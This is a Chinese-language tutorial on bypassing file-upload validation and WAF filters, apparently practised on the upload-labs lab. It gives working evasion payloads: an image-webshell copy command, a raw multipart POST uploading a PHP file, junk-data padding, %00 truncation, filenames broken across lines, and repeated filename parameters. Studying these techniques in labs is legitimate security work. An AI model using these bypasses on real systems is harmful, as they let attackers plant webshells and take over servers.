文件上传

文件上传

文件上传.png

绕过

文件上传常见验证:
后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME
信息文件头:内容头信息

创建php.png文件里面写入内容,然后上传burp抓包将php.png修改为php.php,再把数据包发送,最后在浏览器中右击复制文件地址

upload-labs1.png

图片马

copy 1.png /b + shell.php /a webshell.jpg

文件头检测
图像文件信息判断
逻辑安全=二次渲染
逻辑安全-条件竞争目录命名-x.php/.
脚本函数漏洞-CVE-2015-2348
数组接受+目录命名

WAf绕过

可以尝试修改的点

Content-Disposition:    一般可更改
name:    表单参数值,不能更改
filename :文件名,可以更改
Content-Type:文件MIME,视情况更改
  1. 数据溢出-防匹配(xxx.. .)

    修改数据包上传Content-Disposition: form-data; name="uploadfile";中间插入大量的垃圾数据从而绕过。

    POST /Pass-06/index.php?action=show_code HTTP/1.1
    Host: 10.1.1.6
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------219208409912899756444268510117
    Content-Length: 378
    Origin: http://10.1.1.6
    Connection: close
    Referer: http://10.1.1.6/Pass-06/index.php?action=show_code
    Upgrade-Insecure-Requests: 1
    
    -----------------------------219208409912899756444268510117
    Content-Disposition: form-data; name="upload_file";填充大量的垃圾数据; filename="info.Php"
    Content-Type: application/octet-stream
    
    <?php phpinfo(); ?>
    -----------------------------219208409912899756444268510117
    Content-Disposition: form-data; name="submit"
    
    涓婁紶
    -----------------------------219208409912899756444268510117--
    
  1. 符号变异-防匹配('" ;)

    Content-Disposition: form-data; name="upload_file"; filename="info.php
    Content-Type: image/jpeg
    使用%00截断,添加合法后缀名
    格式:文件名.php%00.png
  2. 数据截断-防匹配(%00 ;换行)

    Content-Disposition: form-data; name="upload_file"; filename="info.php%00.png"
    Content-Type: image/jpeg
    Content-Disposition: form-data; name="upload_file"; filename="x.
    p
    h
    p"
    Content-Type:  image/jpeg
  3. 重复数据-防匹配(参数多次)

     filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.png"; filename="info.php";
该文章的评论已关闭